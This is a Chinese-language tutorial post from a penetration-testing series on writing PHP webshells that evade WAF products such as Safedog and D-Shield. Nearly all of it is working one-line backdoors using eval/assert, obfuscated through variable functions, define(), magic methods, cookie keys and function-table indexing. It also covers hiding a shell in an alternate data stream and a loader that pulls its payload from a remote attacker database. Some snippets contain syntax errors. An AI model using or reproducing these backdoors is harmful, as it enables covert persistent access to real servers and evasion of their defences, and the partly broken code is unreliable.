网络安全从入门到精通(第十章-6) ByPass(下) WebShell的绕过

本文内容:
		~Waf检测机制与绕过
		~进阶知识
		~结束语

每日一句:
	每天进步一点点,持之以恒,终成大器
	天行健,君子以自强不息!

一、Waf检测机制与绕过

	1,正常一句马
			<?php	eval($_REQUEST['a']);?>	
			//这种有个Waf都会给干掉
			
			//多说一下,参数为数字也是可以的
			<?php	eval($_REQUEST[1]);?>
	
	2,稍微变形(一)
		变量函数绕过
		
			绕过语句:
				<?php	eval(end($_REQUEST));?>
			原理:
				Waf拦截的本质还是正则匹配问题
				通过测试我们发现仅仅一个eval()函数不拦截
			测试语句:
				<?php eval();?>
				进而测试
				<?php eval($_REQUEST)?;>		//这也不拦截
				那基本就是多一个“[]”的问题
			
			思考绕过方法:
				~替换掉eval()		-->assert()作用类似,试试不行
				~替换掉$_REQUEST[]	——>那就从这突破了
				
			深思:
				$_REQUEST[]是超全局变量,就是获得传参的
				提出一个函数:end()	
				//输出数组中的当前元素和最后一个元素的值
			测试语句:
				<?php	var_dump(end($_REQUEST));?>
			传参:	url ?a=1&b=123
			输出:	string(3)"123"
			
			综合:<?php	eval(end($_REQUEST));?>
				//这直接扫描也扫不出了
				//唯一缺陷没有密码,随便传参都可以,即
				//url ?sb=phpinfo();
	
	3,稍微变形(二)	
		常量函数绕过
		
			在提一个常量函数:define()
				<?php define("b","$_REQUEST[a]");eval(b);?>
			原理:
				$_REQUEST接收传参前端a的传参,
				然后执行操作:b=$_REQUEST['a'],
				最后,eval(b),
			
	4,稍微变形(三)
		字符串拼接 + 双美元符号
			<?php
				$a='aww';
				$b='ert';
				$funcName=$a.$b;	//assert()函数的作用相等于eval()
				$x='funcName';
				$$x($_REQUEST['a']);	//为什么不用eval(),
					//二次解析  	//因为php中eval不能拼接执行(规定)
			?>
			
	5,稍微变形(四)
		定义函数绕过
		
		通过上边我们得知,eval($_REQUEST)	这不会被拦截
		但是加上“[]”就会拦截。所以,我们想办法分离一下这两部分
		
		通过测试,得知"($_REQUEST)[]"	我们中间加个“(”都可以躲过检测
		上语句:
			<?php	
			function ss($_a){return $a;}
			eval(ss($_REQUEST)['a']);		//分割“REQUEST” 与 “[]”
			?>
			
	6,稍微变形(五)
		定义类绕过+魔术方法
		
		<?php	class User{
			public $name='';		//两个单引号
			function__destruct(){
				eval("$this->name");	//定义变量name
			}
		}user = new User;	//实例化类
		$user->name = ".$_REQUEST['a'];		//给name赋值
		?>
			
		//魔术方法作用:当类被销毁的时候调用
		//什么是销毁?就是类运行完毕后
		
		其实安全狗还是比较容易过的,像D盾之类的,就只能靠一些函数
		甚至反序列化函数
	
	7,稍微变形(六)
		一些骚的操作开始
		<?php	
			$COOKIE = $_COOKIE;	//获取cookie传参,存在变量cookie中
			foreach($COOKIE as $key => $value){		//将cookie的键值分离	
													//比如传参a=1,分离为:key=a,value=1
				if($key == 'assert'){				
					$key($_REQUEST['a']);
				}
			}
		?>
		
		//这个函数的最终效果是:assert($_REQUEST['a']);
		//在实战中,url a=sb	且在  cookie中 设置assert=sb
	
	8,稍微变形(七)
		继续一些骚的操作
		<?php
			$a=get_defined_functions();
			$a=['internal'][841]($_REQUEST['a']);
		?>
		
		//get_defined_functions()函数是返回所有已经定义的函数
		//可以var_dump(get_defined_functions())看看
		//get_defined_functions()['internal']	返回键为“internal”的数组
		//['internal'][841] 就是“internal”这个一维数组的第841个数据 实际上就是assert
		//综上,最终语句相等于assert($_REQUEST['a'])

二、微微进阶

1,D盾相对安全狗来说,难度大了一些,但是问题也不大
	//写一点吧,有兴趣的同学可以了解一下
	小思路:
			<?php
				if($_SERVER['HTTP_USER_AGENT'] === '1')(
					eval(end($_REQUEST))
				)
			?>
		//传输的时候,改一下请求头为1,若是菜刀或者蚁剑之类的连接
		//直接将“1”改为 相应软件的请求头即可

2,再来个隐藏小马的法子
	当你getshell的时候,在命令行执行:
			echo "<?php	eval($_REQUEST['a']);?>" >> /:626.txt
	在任意一个php文件中:
			<?php	include('/:626.txt')?>
	
	作用就是,这个小马被隐藏,dir也是看不到的
	但是,仅仅可以在win系统 --->安全狗是扫不出的,D盾的话,会报可以引用
	可以在前边在加点函数绕过,就不扩展了,有兴趣自己去试
	
3,制胜大法
	<?php
		eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','数据库名'),'select * from 表名'))['列名']);
	?>
	//本质就是让服务器去连接读取我们放在公网的数据库的内容,
	//我们在数据库具体的表存入:
			eval($_REQUEST['a']);
	
	最后,服务器可以去买个学生机之类的,记得貌似9.9一个月

三,结束语

1,到这里,耗时近2月的小白成长之路已经接近尾声。等等我修正几天,看看再开
	一个进阶栏目。不管怎么说,大家一定要注重积累,1万小时定理。
	
2,注意渗透测试的尺度,不要碰黑产。做一个正直的白帽子
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/104610872
今日推荐